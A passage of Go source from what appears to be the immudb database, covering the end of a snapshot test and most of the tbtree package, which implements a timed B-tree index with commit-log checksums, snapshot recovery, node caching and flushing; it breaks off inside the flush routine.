snap1.GetBetween([]byte("key1"), 1, snap1.Ts()) require.NoError(t, err) _, _, _, err = snap2.GetBetween([]byte("key1"), 1, snap2.Ts()) require.NoError(t, err) _, _, _, _, err = snap1.GetWithPrefix([]byte("key3"), nil) require.ErrorIs(t, err, ErrKeyNotFound) _, _, _, _, err = snap1.GetWithPrefix([]byte("key1"), []byte("key1")) require.ErrorIs(t, err, ErrKeyNotFound) }) err = tbtree.Insert([]byte("key2"), []byte("value2")) require.NoError(t, err) t.Run("keys inserted after snapshot creation should NOT be reachable", func(t *testing.T) { _, _, _, err = snap1.Get([]byte("key2")) require.ErrorIs(t, err, ErrKeyNotFound) _, _, _, err = snap2.Get([]byte("key2")) require.ErrorIs(t, err, ErrKeyNotFound) }) err = snap1.Set([]byte("key1"), []byte("value1_snap1")) require.NoError(t, err) err = snap1.Set([]byte("key1_snap1"), []byte("value1_snap1")) require.NoError(t, err) err = snap2.Set([]byte("key1"), []byte("value1_snap2")) require.NoError(t, err) err = snap2.Set([]byte("key1_snap2"), []byte("value1_snap2")) require.NoError(t, err) t.Run("keys inserted after snapshot creation should NOT be reachable", func(t *testing.T) { }) _, _, _, err = snap1.Get([]byte("key1_snap1")) require.NoError(t, err) _, _, _, err = snap2.Get([]byte("key1_snap2")) require.NoError(t, err) _, _, _, err = snap1.Get([]byte("key1_snap2")) require.ErrorIs(t, err, ErrKeyNotFound) _, _, _, err = snap2.Get([]byte("key1_snap1")) require.ErrorIs(t, err, ErrKeyNotFound) _, _, _, err = snap1.GetBetween([]byte("key1_snap2"), 1, snap1.Ts()) require.ErrorIs(t, err, ErrKeyNotFound) _, _, _, err = snap2.GetBetween([]byte("key1_snap1"), 1, snap2.Ts()) require.ErrorIs(t, err, ErrKeyNotFound) _, _, _, err = tbtree.Get([]byte("key1_snap1")) require.ErrorIs(t, err, ErrKeyNotFound) _, _, _, err = tbtree.Get([]byte("key1_snap2")) require.ErrorIs(t, err, ErrKeyNotFound) err = snap1.Close() require.NoError(t, err) err = snap2.Close() require.NoError(t, err) err = tbtree.Close() require.NoError(t, err) } ================================================ FILE: embedded/tbtree/tbtree.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package tbtree import ( "bytes" "crypto/sha256" "encoding/binary" "errors" "fmt" "io" "math" "os" "path/filepath" "strconv" "strings" "sync" "time" "github.com/codenotary/immudb/embedded" "github.com/codenotary/immudb/embedded/appendable" "github.com/codenotary/immudb/embedded/appendable/multiapp" "github.com/codenotary/immudb/embedded/cache" "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/embedded/multierr" "github.com/prometheus/client_golang/prometheus" ) var ( ErrIllegalArguments = fmt.Errorf("tbtree: %w", embedded.ErrIllegalArguments) ErrInvalidOptions = fmt.Errorf("%w: invalid options", ErrIllegalArguments) ErrorPathIsNotADirectory = errors.New("tbtree: path is not a directory") ErrReadingFileContent = errors.New("tbtree: error reading required file content") ErrKeyNotFound = fmt.Errorf("tbtree: %w", embedded.ErrKeyNotFound) ErrorMaxKeySizeExceeded = errors.New("tbtree: max key size exceeded") ErrorMaxValueSizeExceeded = errors.New("tbtree: max value size exceeded") ErrOffsetOutOfRange = fmt.Errorf("tbtree: %w", embedded.ErrOffsetOutOfRange) ErrIllegalState = embedded.ErrIllegalState // TODO: grpc error mapping hardly relies on the actual message, see IllegalStateHandlerInterceptor ErrAlreadyClosed = errors.New("tbtree: index already closed") ErrSnapshotsNotClosed = errors.New("tbtree: snapshots not closed") ErrorToManyActiveSnapshots = errors.New("tbtree: max active snapshots limit reached") ErrCorruptedFile = errors.New("tbtree: file is corrupted") ErrCorruptedCLog = errors.New("tbtree: commit log is corrupted") ErrCompactAlreadyInProgress = errors.New("tbtree: compact already in progress") ErrCompactionThresholdNotReached = errors.New("tbtree: compaction threshold not yet reached") ErrIncompatibleDataFormat = errors.New("tbtree: incompatible data format") ErrTargetPathAlreadyExists = errors.New("tbtree: target folder already exists") ErrNoMoreEntries = fmt.Errorf("tbtree: %w", embedded.ErrNoMoreEntries) ErrReadersNotClosed = errors.New("tbtree: readers not closed") ) const Version = 3 const ( MetaVersion = "VERSION" MetaMaxNodeSize = "MAX_NODE_SIZE" MetaMaxKeySize = "MAX_KEY_SIZE" MetaMaxValueSize = "MAX_VALUE_SIZE" ) const ( // actual nodes and commit folders will be suffixed by root logical timestamp except for initial trees so to be backward compatible nodesFolderPrefix = "nodes" commitFolderPrefix = "commit" historyFolder = "history" // history data is snapshot-agnostic / compaction-agnostic i.e. history(t) = history(compact(t)) timestampFile = "TIMESTAMP" ) // initial and final nLog size, root node size, nLog digest since initial and final points // initial and final hLog size, hLog digest since initial and final points const cLogEntrySize = 8 + 8 + 4 + sha256.Size + 8 + 8 + sha256.Size type cLogEntry struct { synced bool initialNLogSize int64 finalNLogSize int64 rootNodeSize int nLogChecksum [sha256.Size]byte initialHLogSize int64 finalHLogSize int64 hLogChecksum [sha256.Size]byte } func (e *cLogEntry) serialize() []byte { var b [cLogEntrySize]byte i := 0 binary.BigEndian.PutUint64(b[i:], uint64(e.initialNLogSize)) if !e.synced { b[i] |= 0x80 // async flag in the msb is set } i += 8 binary.BigEndian.PutUint64(b[i:], uint64(e.finalNLogSize)) i += 8 binary.BigEndian.PutUint32(b[i:], uint32(e.rootNodeSize)) i += 4 copy(b[i:], e.nLogChecksum[:]) i += sha256.Size binary.BigEndian.PutUint64(b[i:], uint64(e.initialHLogSize)) i += 8 binary.BigEndian.PutUint64(b[i:], uint64(e.finalHLogSize)) i += 8 copy(b[i:], e.hLogChecksum[:]) i += sha256.Size return b[:] } func (e *cLogEntry) isValid() bool { return e.initialNLogSize <= e.finalNLogSize && e.rootNodeSize > 0 && int64(e.rootNodeSize) <= e.finalNLogSize && e.initialHLogSize <= e.finalHLogSize } func (e *cLogEntry) deserialize(b []byte) { e.synced = b[0]&0x80 == 0 b[0] &= 0x7F // remove syncing flag i := 0 e.initialNLogSize = int64(binary.BigEndian.Uint64(b[i:])) i += 8 e.finalNLogSize = int64(binary.BigEndian.Uint64(b[i:])) i += 8 e.rootNodeSize = int(binary.BigEndian.Uint32(b[i:])) i += 4 copy(e.nLogChecksum[:], b[i:]) i += sha256.Size e.initialHLogSize = int64(binary.BigEndian.Uint64(b[i:])) i += 8 e.finalHLogSize = int64(binary.BigEndian.Uint64(b[i:])) i += 8 copy(e.hLogChecksum[:], b[i:]) i += sha256.Size } // TBTree implements a timed-btree type TBtree struct { path string id uint16 logger logger.Logger nLog appendable.Appendable cache *cache.Cache nmutex sync.Mutex // mutex for cache and file reading hLog appendable.Appendable cLog appendable.Appendable tsFile string root node maxNodeSize int insertionCountSinceFlush int insertionCountSinceSync int insertionCountSinceCleanup int flushThld int maxBufferedDataSize int syncThld int flushBufferSize int cleanupPercentage float32 maxActiveSnapshots int renewSnapRootAfter time.Duration readOnly bool cacheSize int fileSize int fileMode os.FileMode maxKeySize int maxValueSize int compactionThld int delayDuringCompaction time.Duration nodesLogMaxOpenedFiles int historyLogMaxOpenedFiles int commitLogMaxOpenedFiles int appFactory AppFactoryFunc appRemove AppRemoveFunc bufferedDataSize int onFlush OnFlushFunc snapshots map[uint64]*Snapshot maxSnapshotID uint64 lastSnapRoot node lastSnapRootAt time.Time committedLogSize int64 committedNLogSize int64 committedHLogSize int64 minOffset int64 compacting bool closed bool rwmutex sync.RWMutex } type path []*pathNode type pathNode struct { node *innerNode offset int } type node interface { insert(kvts []*KVT) ([]node, int, error) get(key []byte) (value []byte, ts uint64, hc uint64, err error) getBetween(key []byte, initialTs, finalTs uint64) (value []byte, ts uint64, hc uint64, err error) history(key []byte, offset uint64, descOrder bool, limit int) ([]TimedValue, uint64, error) findLeafNode(seekKey []byte, path path, offset int, neqKey []byte, descOrder bool) (path, *leafNode, int, error) minKey() []byte ts() uint64 setTs(ts uint64) (node, error) tsMutated() bool size() (int, error) mutated() bool offset() int64 // only valid when !mutated() minOffset() int64 // only valid when !mutated() writeTo(nw, hw io.Writer, writeOpts *WriteOpts, buf []byte) (nOff, minOff int64, wN, wH int64, err error) } type writeProgressOutputFunc func(innerNodesWritten int, leafNodesWritten int, entriesWritten int) type writeFinnishOutputFunc func() type WriteOpts struct { OnlyMutated bool BaseNLogOffset int64 BaseHLogOffset int64 commitLog bool reportProgress writeProgressOutputFunc MinOffset int64 } type innerNode struct { t *TBtree nodes []node _ts uint64 off int64 _minOff int64 mut bool } type leafNode struct { t *TBtree values []*leafValue _ts uint64 off int64 mut bool } type nodeRef struct { t *TBtree _minKey []byte _ts uint64 off int64 _minOff int64 } type leafValue struct { key []byte timedValues []TimedValue hOff int64 hCount uint64 } type TimedValue struct { Value []byte Ts uint64 } func Open(path string, opts *Options) (*TBtree, error) { err := opts.Validate() if err != nil { return nil, err } finfo, err := os.Stat(path) if err != nil { if !os.IsNotExist(err) { return nil, err } err = os.Mkdir(path, opts.fileMode) if err != nil { return nil, err } } else if !finfo.IsDir() { return nil, ErrorPathIsNotADirectory } metadata := appendable.NewMetadata(nil) metadata.PutInt(MetaVersion, Version) metadata.PutInt(MetaMaxNodeSize, opts.maxNodeSize) metadata.PutInt(MetaMaxKeySize, opts.maxKeySize) metadata.PutInt(MetaMaxValueSize, opts.maxValueSize) appendableOpts := multiapp.DefaultOptions(). WithReadOnly(opts.readOnly). WithRetryableSync(false). WithFileSize(opts.fileSize). WithFileMode(opts.fileMode). WithWriteBufferSize(opts.flushBufferSize). WithMetadata(metadata.Bytes()) appFactory := opts.appFactory if appFactory == nil { appFactory = func(rootPath, subPath string, opts *multiapp.Options) (appendable.Appendable, error) { path := filepath.Join(rootPath, subPath) return multiapp.Open(path, opts) } } appRemove := opts.appRemove if appRemove == nil { appRemove = func(rootPath, subPath string) error { path := filepath.Join(rootPath, subPath) return os.RemoveAll(path) } } appendableOpts.WithFileExt("hx") appendableOpts.WithMaxOpenedFiles(opts.historyLogMaxOpenedFiles) hLog, err := appFactory(path, historyFolder, appendableOpts) if err != nil { return nil, err } // If compaction was not fully completed, a valid or partially written full snapshot may be there snapIDs, err := recoverFullSnapshots(path, commitFolderPrefix, opts.logger) if err != nil { return nil, err } // Try snapshots from newest to older for i := len(snapIDs); i > 0; i-- { snapID := snapIDs[i-1] nFolder := snapFolder(nodesFolderPrefix, snapID) cFolder := snapFolder(commitFolderPrefix, snapID) tsFile := snapFolder(timestampFile, snapID) snapPath := filepath.Join(path, cFolder) opts.logger.Infof("reading snapshots at '%s'...", snapPath) appendableOpts.WithFileExt("n") appendableOpts.WithMaxOpenedFiles(opts.nodesLogMaxOpenedFiles) nLog, err := appFactory(path, nFolder, appendableOpts) if err != nil { opts.logger.Infof("skipping snapshots at '%s', reading node data returned: %v", snapPath, err) continue } appendableOpts.WithFileExt("ri") appendableOpts.WithMaxOpenedFiles(opts.commitLogMaxOpenedFiles) cLog, err := appFactory(path, cFolder, appendableOpts) if err != nil { nLog.Close() opts.logger.Infof("skipping snapshots at '%s', reading commit data returned: %v", snapPath, err) continue } var t *TBtree var discardSnapshotsFolder bool cLogSize, err := cLog.Size() if err == nil && cLogSize < cLogEntrySize { opts.logger.Infof("skipping snapshots at '%s', reading commit data returned: %s", snapPath, "empty clog") discardSnapshotsFolder = true } if err == nil && !discardSnapshotsFolder { // TODO: semantic validation and further amendment procedures may be done instead of a full initialization t, err = OpenWith(path, tsFile, nLog, hLog, cLog, opts) } if err != nil { opts.logger.Infof("skipping snapshots at '%s', opening btree returned: %v", snapPath, err) discardSnapshotsFolder = true } if discardSnapshotsFolder { nLog.Close() cLog.Close() err = discardSnapshots(path, snapIDs[i-1:i], appRemove, opts.logger) if err != nil { opts.logger.Warningf("discarding snapshots at '%s' returned: %v", path, err) } continue } opts.logger.Infof("successfully read snapshots at '%s'", snapPath) // Discard older snapshots upon successful validation err = discardSnapshots(path, snapIDs[:i-1], appRemove, opts.logger) if err != nil { opts.logger.Warningf("discarding snapshots at '%s' returned: %v", path, err) } return t, nil } // No snapshot present or none was valid, fresh initialization err = hLog.SetOffset(0) if err != nil { return nil, err } appendableOpts.WithFileExt("n") appendableOpts.WithMaxOpenedFiles(opts.nodesLogMaxOpenedFiles) nLog, err := appFactory(path, nodesFolderPrefix, appendableOpts) if err != nil { return nil, err } appendableOpts.WithFileExt("ri") appendableOpts.WithMaxOpenedFiles(opts.commitLogMaxOpenedFiles) cLog, err := appFactory(path, commitFolderPrefix, appendableOpts) if err != nil { return nil, err } return OpenWith(path, timestampFile, nLog, hLog, cLog, opts) } func snapFolder(folder string, snapID uint64) string { if snapID == 0 { return folder } return fmt.Sprintf("%s%016d", folder, snapID) } func recoverFullSnapshots(path, prefix string, logger logger.Logger) (snapIDs []uint64, err error) { fis, err := os.ReadDir(path) if err != nil { return nil, err } for _, f := range fis { if f.IsDir() && strings.HasPrefix(f.Name(), prefix) { if f.Name() == prefix { snapIDs = append(snapIDs, 0) continue } id, err := strconv.ParseInt(strings.TrimPrefix(f.Name(), prefix), 10, 64) if err != nil { logger.Warningf("invalid folder found '%s', skipped during index selection", f.Name()) continue } snapIDs = append(snapIDs, uint64(id)) } } return snapIDs, nil } func discardSnapshots(path string, snapIDs []uint64, appRemove AppRemoveFunc, logger logger.Logger) error { for _, snapID := range snapIDs { nFolder := snapFolder(nodesFolderPrefix, snapID) cFolder := snapFolder(commitFolderPrefix, snapID) tsFile := snapFolder(timestampFile, snapID) logger.Infof("discarding snapshot with id=%d at '%s'...", snapID, path) err := appRemove(path, nFolder) if err != nil { return err } err = appRemove(path, cFolder) if err != nil { return err } _ = os.Remove(filepath.Join(path, tsFile)) logger.Infof("snapshot with id=%d at '%s' has been discarded, %d", snapID, path) } return nil } func OpenWith(path, tsFile string, nLog, hLog, cLog appendable.Appendable, opts *Options) (*TBtree, error) { if nLog == nil || hLog == nil || cLog == nil { return nil, ErrIllegalArguments } err := opts.Validate() if err != nil { return nil, err } metadata := appendable.NewMetadata(cLog.Metadata()) version, ok := metadata.GetInt(MetaVersion) if !ok { return nil, ErrCorruptedCLog } if version < Version { return nil, fmt.Errorf("%w: index data was generated using older and incompatible version", ErrIncompatibleDataFormat) } maxNodeSize, ok := metadata.GetInt(MetaMaxNodeSize) if !ok { return nil, ErrCorruptedCLog } maxKeySize, ok := metadata.GetInt(MetaMaxKeySize) if !ok { maxKeySize = opts.maxKeySize } maxValueSize, ok := metadata.GetInt(MetaMaxValueSize) if !ok { maxValueSize = opts.maxValueSize } if maxNodeSize < requiredNodeSize(maxKeySize, maxValueSize) { return nil, fmt.Errorf("%w: max node size is too small for specified max key and max value sizes", ErrIllegalArguments) } cLogSize, err := cLog.Size() if err != nil { return nil, err } rem := cLogSize % cLogEntrySize if rem > 0 { cLogSize -= rem err = cLog.SetOffset(cLogSize) if err != nil { return nil, err } } nodeCache := opts.cache if nodeCache == nil { nodeCache, err = cache.NewCache(opts.cacheSize) if err != nil { return nil, err } } t := &TBtree{ path: path, id: opts.ID, logger: opts.logger, nLog: nLog, hLog: hLog, cLog: cLog, tsFile: tsFile, cache: nodeCache, maxNodeSize: maxNodeSize, maxKeySize: maxKeySize, maxValueSize: maxValueSize, flushThld: opts.flushThld, maxBufferedDataSize: opts.maxBufferedDataSize, syncThld: opts.syncThld, flushBufferSize: opts.flushBufferSize, onFlush: opts.onFlush, cleanupPercentage: opts.cleanupPercentage, renewSnapRootAfter: opts.renewSnapRootAfter, maxActiveSnapshots: opts.maxActiveSnapshots, fileSize: opts.fileSize, cacheSize: opts.cacheSize, fileMode: opts.fileMode, compactionThld: opts.compactionThld, delayDuringCompaction: opts.delayDuringCompaction, nodesLogMaxOpenedFiles: opts.nodesLogMaxOpenedFiles, historyLogMaxOpenedFiles: opts.historyLogMaxOpenedFiles, commitLogMaxOpenedFiles: opts.commitLogMaxOpenedFiles, readOnly: opts.readOnly, appFactory: opts.appFactory, appRemove: opts.appRemove, snapshots: make(map[uint64]*Snapshot), } var validatedCLogEntry *cLogEntry discardedCLogEntries := 0 // checksum validation up to latest synced entry for cLogSize > 0 { var b [cLogEntrySize]byte n, err := cLog.ReadAt(b[:], cLogSize-cLogEntrySize) if errors.Is(err, io.EOF) { cLogSize -= int64(n) break } if err != nil { return nil, fmt.Errorf("%w: while reading index index commit log entry at '%s'", err, path) } cLogEntry := &cLogEntry{} cLogEntry.deserialize(b[:]) mustDiscard := !cLogEntry.isValid() if mustDiscard { err = fmt.Errorf("invalid clog entry") } if !mustDiscard { nLogChecksum, nerr := appendable.Checksum(t.nLog, cLogEntry.initialNLogSize, cLogEntry.finalNLogSize-cLogEntry.initialNLogSize) if nerr != nil && !errors.Is(nerr, io.EOF) { return nil, fmt.Errorf("%w: while calculating nodes log checksum at '%s'", nerr, path) } hLogChecksum, herr := appendable.Checksum(t.hLog, cLogEntry.initialHLogSize, cLogEntry.finalHLogSize-cLogEntry.initialHLogSize) if herr != nil && herr != io.EOF { return nil, fmt.Errorf("%w: while calculating history log checksum at '%s'", herr, path) } mustDiscard = errors.Is(nerr, io.EOF) || errors.Is(herr, io.EOF) || nLogChecksum != cLogEntry.nLogChecksum || hLogChecksum != cLogEntry.hLogChecksum err = fmt.Errorf("invalid checksum") } if mustDiscard { t.logger.Infof("discarding snapshots due to %v at '%s'", err, path) discardedCLogEntries += int(t.committedLogSize/cLogEntrySize) + 1 validatedCLogEntry = nil t.committedLogSize = 0 } if !mustDiscard && t.committedLogSize == 0 { validatedCLogEntry = cLogEntry t.committedLogSize = cLogSize } if !mustDiscard && cLogEntry.synced { break } cLogSize -= cLogEntrySize } if validatedCLogEntry == nil { // It is not necessary to copy the root node when starting with a fresh btree. // A fresh root will be used if insertion fails t.root = &leafNode{t: t, mut: true} } else { t.root, err = t.readNodeAt(validatedCLogEntry.finalNLogSize - int64(validatedCLogEntry.rootNodeSize)) if err != nil { return nil, fmt.Errorf("%w: while loading index at '%s'", err, path) } t.committedNLogSize = validatedCLogEntry.finalNLogSize t.committedHLogSize = validatedCLogEntry.finalHLogSize t.minOffset = t.root.minOffset() } metricsBtreeNodesDataBeginOffset.WithLabelValues(t.path).Set(float64(t.minOffset)) metricsBtreeNodesDataEndOffset.WithLabelValues(t.path).Set(float64(t.committedNLogSize)) err = t.hLog.SetOffset(t.committedHLogSize) if err != nil { return nil, fmt.Errorf("%w: while setting initial offset of history log for index '%s'", err, path) } err = t.cLog.SetOffset(t.committedLogSize) if err != nil { return nil, fmt.Errorf("%w: while setting initial offset of commit log for index '%s'", err, path) } opts.logger.Infof("index '%s' {ts=%d, discarded_snapshots=%d} successfully loaded", path, t.Ts(), discardedCLogEntries) if ts := t.readTsFile(); ts > t.root.ts() { root, err := t.root.setTs(ts) if err != nil { return nil, err } t.root = root } return t, nil } func greatestKeyOfSize(size int) []byte { k := make([]byte, size) for i := 0; i < size; i++ { k[i] = 0xFF } return k } // requiredNodeSize calculates the lower bound for node size func requiredNodeSize(maxKeySize, maxValueSize int) int { // space for at least two children is required for inner nodes // 31 bytes are fixed in leafNode serialization while 29 bytes are fixed in innerNodes minInnerNode := 2 * (29 + maxKeySize) minLeafNode := 31 + maxKeySize + maxValueSize if minInnerNode < minLeafNode { return minLeafNode } return minInnerNode } func (t *TBtree) GetOptions() *Options { return DefaultOptions(). WithReadOnly(t.readOnly). WithFileMode(t.fileMode). WithFileSize(t.fileSize). WithMaxKeySize(t.maxKeySize). WithMaxValueSize(t.maxValueSize). WithLogger(t.logger). WithCacheSize(t.cacheSize). WithFlushThld(t.flushThld). WithSyncThld(t.syncThld). WithFlushBufferSize(t.flushBufferSize). WithCleanupPercentage(t.cleanupPercentage). WithMaxActiveSnapshots(t.maxActiveSnapshots). WithMaxNodeSize(t.maxNodeSize). WithRenewSnapRootAfter(t.renewSnapRootAfter). WithCompactionThld(t.compactionThld). WithDelayDuringCompaction(t.delayDuringCompaction). WithNodesLogMaxOpenedFiles(t.nodesLogMaxOpenedFiles). WithHistoryLogMaxOpenedFiles(t.historyLogMaxOpenedFiles). WithCommitLogMaxOpenedFiles(t.commitLogMaxOpenedFiles). WithAppFactory(t.appFactory). WithAppRemoveFunc(t.appRemove) } func (t *TBtree) cachePut(n node) { t.nmutex.Lock() defer t.nmutex.Unlock() size, _ := n.size() r, _, _ := t.cache.PutWeighted(encodeOffset(t.id, n.offset()), n, size) if r != nil { metricsCacheEvict.WithLabelValues(t.path).Inc() } } func encodeOffset(id uint16, offset int64) int64 { return int64(id)<<48 | offset } func (t *TBtree) nodeAt(offset int64, updateCache bool) (node, error) { t.nmutex.Lock() defer t.nmutex.Unlock() size := t.cache.EntriesCount() metricsCacheSizeStats.WithLabelValues(t.path).Set(float64(size)) encOffset := encodeOffset(t.id, offset) v, err := t.cache.Get(encOffset) if err == nil { metricsCacheHit.WithLabelValues(t.path).Inc() return v.(node), nil } if err == cache.ErrKeyNotFound { metricsCacheMiss.WithLabelValues(t.path).Inc() n, err := t.readNodeAt(offset) if err != nil { return nil, err } if updateCache { size, _ := n.size() r, _, _ := t.cache.PutWeighted(encOffset, n, size) if r != nil { metricsCacheEvict.WithLabelValues(t.path).Inc() } } return n, nil } return nil, err } func (t *TBtree) readNodeAt(off int64) (node, error) { r := appendable.NewReaderFrom(t.nLog, off, t.maxNodeSize) return t.readNodeFrom(r) } func (t *TBtree) readNodeFrom(r *appendable.Reader) (node, error) { off := r.Offset() nodeType, err := r.ReadByte() if err != nil { return nil, err } switch nodeType { case InnerNodeType: n, err := t.readInnerNodeFrom(r) if err != nil { return nil, err } n.off = off return n, nil case LeafNodeType: n, err := t.readLeafNodeFrom(r) if err != nil { return nil, err } n.off = off return n, nil } return nil, ErrReadingFileContent } func (t *TBtree) readInnerNodeFrom(r *appendable.Reader) (*innerNode, error) { childCount, err := r.ReadUint16() if err != nil { return nil, err } n := &innerNode{ t: t, nodes: make([]node, childCount), _minOff: math.MaxInt64, } for c := 0; c < int(childCount); c++ { nref, err := t.readNodeRefFrom(r) if err != nil { return nil, err } n.nodes[c] = nref if n._ts < nref._ts { n._ts = nref._ts } if n._minOff > nref._minOff { n._minOff = nref._minOff } } return n, nil } func (t *TBtree) readNodeRefFrom(r *appendable.Reader) (*nodeRef, error) { minKeySize, err := r.ReadUint16() if err != nil { return nil, err } minKey := make([]byte, minKeySize) _, err = r.Read(minKey) if err != nil { return nil, err } ts, err := r.ReadUint64() if err != nil { return nil, err } off, err := r.ReadUint64() if err != nil { return nil, err } minOff, err := r.ReadUint64() if err != nil { return nil, err } return &nodeRef{ t: t, _minKey: minKey, _ts: ts, off: int64(off), _minOff: int64(minOff), }, nil } func (t *TBtree) readLeafNodeFrom(r *appendable.Reader) (*leafNode, error) { valueCount, err := r.ReadUint16() if err != nil { return nil, err } l := &leafNode{ t: t, values: make([]*leafValue, valueCount), } for c := 0; c < int(valueCount); c++ { ksize, err := r.ReadUint16() if err != nil { return nil, err } key := make([]byte, ksize) _, err = r.Read(key) if err != nil { return nil, err } vsize, err := r.ReadUint16() if err != nil { return nil, err } value := make([]byte, vsize) _, err = r.Read(value) if err != nil { return nil, err } ts, err := r.ReadUint64() if err != nil { return nil, err } hOff, err := r.ReadUint64() if err != nil { return nil, err } hCount, err := r.ReadUint64() if err != nil { return nil, err } leafValue := &leafValue{ key: key, timedValues: []TimedValue{{Value: value, Ts: ts}}, hOff: int64(hOff), hCount: hCount, } l.values[c] = leafValue if l._ts < ts { l._ts = ts } } return l, nil } func (t *TBtree) Get(key []byte) (value []byte, ts uint64, hc uint64, err error) { t.rwmutex.RLock() defer t.rwmutex.RUnlock() if t.closed { return nil, 0, 0, ErrAlreadyClosed } if key == nil { return nil, 0, 0, ErrIllegalArguments } v, ts, hc, err := t.root.get(key) return cp(v), ts, hc, err } func (t *TBtree) GetBetween(key []byte, initialTs, finalTs uint64) (value []byte, ts uint64, hc uint64, err error) { t.rwmutex.RLock() defer t.rwmutex.RUnlock() if t.closed { return nil, 0, 0, ErrAlreadyClosed } if key == nil { return nil, 0, 0, ErrIllegalArguments } return t.root.getBetween(key, initialTs, finalTs) } func (t *TBtree) History(key []byte, offset uint64, descOrder bool, limit int) (tvs []TimedValue, hCount uint64, err error) { t.rwmutex.RLock() defer t.rwmutex.RUnlock() if t.closed { return nil, 0, ErrAlreadyClosed } if key == nil { return nil, 0, ErrIllegalArguments } if limit < 1 { return nil, 0, ErrIllegalArguments } return t.root.history(key, offset, descOrder, limit) } func (t *TBtree) GetWithPrefix(prefix []byte, neq []byte) (key []byte, value []byte, ts uint64, hc uint64, err error) { t.rwmutex.RLock() defer t.rwmutex.RUnlock() if t.closed { return nil, nil, 0, 0, ErrAlreadyClosed } path, leaf, off, err := t.root.findLeafNode(prefix, nil, 0, neq, false) if err != nil { return nil, nil, 0, 0, err } metricsBtreeDepth.WithLabelValues(t.path).Set(float64(len(path) + 1)) leafValue := leaf.values[off] if len(prefix) > len(leafValue.key) { return nil, nil, 0, 0, ErrKeyNotFound } if bytes.Equal(prefix, leafValue.key[:len(prefix)]) { currValue := leafValue.timedValue() return leafValue.key, cp(currValue.Value), currValue.Ts, leafValue.historyCount(), nil } return nil, nil, 0, 0, ErrKeyNotFound } func (t *TBtree) Sync() error { t.rwmutex.Lock() defer t.rwmutex.Unlock() if t.closed { return ErrAlreadyClosed } _, _, err := t.flushTree(0, true, false, "sync") return err } func (t *TBtree) Flush() (wN, wH int64, err error) { return t.FlushWith(t.cleanupPercentage, false) } func (t *TBtree) FlushWith(cleanupPercentage float32, synced bool) (wN, wH int64, err error) { t.rwmutex.Lock() defer t.rwmutex.Unlock() if t.closed { return 0, 0, ErrAlreadyClosed } return t.flushTree(cleanupPercentage, synced, true, "flushWith") } type appendableWriter struct { appendable.Appendable } func (aw *appendableWriter) Write(b []byte) (int, error) { _, n, err := aw.Append(b) return n, err } func (t *TBtree) wrapNwarn(formattedMessage string, args ...interface{}) error { t.logger.Warningf(formattedMessage, args) return fmt.Errorf(formattedMessage, args...) } func (t *TBtree) flushTree(cleanupPercentageHint float32, forceSync bool, forceCleanup bool, src string) (wN int64, wH int64, err error) { if cleanupPercentageHint < 0 || cleanupPercentageHint > 100 { return 0, 0, fmt.Errorf("%w: invalid cleanupPercentage", ErrIllegalArguments) } cleanupPercentage := cleanupPercentageHint if !forceCleanup && t.insertionCountSinceCleanup < t.flushThld { cleanupPercentage = 0 } t.logger.Infof("flushing index '%s' {ts=%d, cleanup_percentage=%.2f/%.2f, since_cleanup=%d} requested via %s...", t.path, t.root.ts(), cleanupPercentageHint, cleanupPercentage, t.insertionCountSinceCleanup, src, ) if !t.root.mutated() && cleanupPercentage == 0 { t.logger.Infof("flushing not needed at '%s' {ts=%d, cleanup_percentage=%.2f}", t.path, t.root.ts(), cleanupPercentage) return 0, 0, nil } snapshot := t.newSnapshot(0, t.root) // will overwrite partially written and uncommitted data // if garbage is accepted then t.committedNLogSize should be set to its size during initialization err = t.hLog.SetOffset(t.committedHLogSize) if err != nil { return 0, 0, err } err = t.nLog.SetOffset(t.committedNLogSize) if err != nil { return 0, 0, err } progressOutputFunc, finishOutputFunc := t.buildWriteProgressOutput( metricsFlushedNodesLastCycle, metricsFlushedNodesTotal, metricsFlushedEntriesLastCycle, metricsFlushedEntriesTotal, "flushing", t.root.ts(), time.Minute, ) defer finishOutputFunc() expectedNewMinOffset := t.minOffset + int64((float64(t.committedNLogSize-t.minOffset)*float64(cleanupPercentage))/100) wopts := &WriteOpts{ OnlyMutated: true, BaseNLogOffset: t.committedNLogSize, BaseHLogOffset: t.committedHLogSize, commitLog: true, reportProgress: progressOutputFunc, MinOffset: expectedNewMinOffset, } _, actualNewMinOffset, wN, wH, err := snapshot.WriteTo(&appendableWriter{t.nLog}, &appendableWriter{t.hLog}, wopts) if err != nil { return 0, 0, t.wrapNwarn("flushing index '%s' {ts=%d, cleanup_percentage=%.2f/%.2f} returned: %v", t.path, t.root.ts(), cleanupPercentageHint, cleanupPercentage, err) } err = t.hLog.Flush() if err != nil { return 0, 0, t.wrapNwarn("flushing index '%s' {ts=%d, cleanup_percentage=%.2f/%.2f} returned: %v", t.path, t.root.ts(), cleanupPercentageHint, cleanupPercentage, err) } err = t.nLog.Flush() if err != nil { return 0, 0, t.wrapNwarn("flushing index '%s' {ts=%d, cleanup_percentage=%.2f/%.2f} returned: %v", t.path, t.root.ts(), cleanupPercentageHint, cleanupPercentage, err) } sync := forceSync || t.insertionCountSinceSync >= t.syncThld if sync { err = t.hLog.Sync() if err != nil { return 0, 0, t.wrapNwarn("syncing index '%s' {ts=%d, cleanup_percentage=%.2f/%.2f} returned: %v", t.path, t.root.ts(), cleanupPercentageHint, cleanupPercentage, err) } err = t.nLog.Sync() if err != nil { return 0, 0, t.wrapNwarn("syncing index '%s' {ts=%d, cleanup_percentage=%.2f/%.2f} returned: %v", t.path, t.root.ts(), cleanupPercentageHint, cleanupPercentage, err) } } // will overwrite partially written and uncommitted data err = t.cLog.SetOffset(t.committedLogSize) if err != nil { return 0, 0, err } rootSize, err := t.root.size() if err != nil { return 0, 0, err } cLogEntry := &cLogEntry{ synced: sync, initialNLogSize: t.committedNLogSize, finalNLogSize: t.committedNLogSize + wN, rootNodeSize: rootSize, initialHLogSize: t.committedHLogSize, finalHLogSize: t.committedHLogSize + wH, } cLogEntry.nLogChecksum, err = appendable.Checksum(t.nLog, t.committedNLogSize, wN) if err != nil { return 0, 0, t.wrapNwarn("flushing index '%s' {ts=%d, cleanup_percentage=%.2f/%.2f} returned: %v", t.path, t.root.ts(), 